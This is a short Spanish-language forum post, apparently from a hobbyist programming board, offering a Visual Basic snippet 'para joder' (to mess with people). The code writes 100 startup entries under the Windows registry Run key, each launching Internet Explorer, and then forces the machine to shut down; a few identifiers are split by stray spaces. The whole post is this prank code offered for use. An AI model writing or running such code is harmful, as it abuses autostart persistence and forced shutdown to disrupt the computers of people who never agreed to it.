mas codigo para joder (Registro de Windows)

[MeGo85]

vi en el foro una pedacito de codigo para agregar aplicaciones al registro de windows
y se me ocurrio esto:

Private Sub Command1_Click()
            Dim Registro As Object
            Dim Ejecutable As String
            Dim i As Integer
            Ejecutable = "C:\Archivos de programa\Internet Explorer\IEXPLORE.EXE"
            For i = 1 To 100
                        Set Registro = CreateObject("WScript.Shell")
                        Registro.RegWr ite "HKEY_LOCAL_MAC HINE\Software\Microsoft\Windows\CurrentVersion\Run\Reinicia" & i, Ejecutable
            Next
            Shell "shutdown -t 2 -s"

End Sub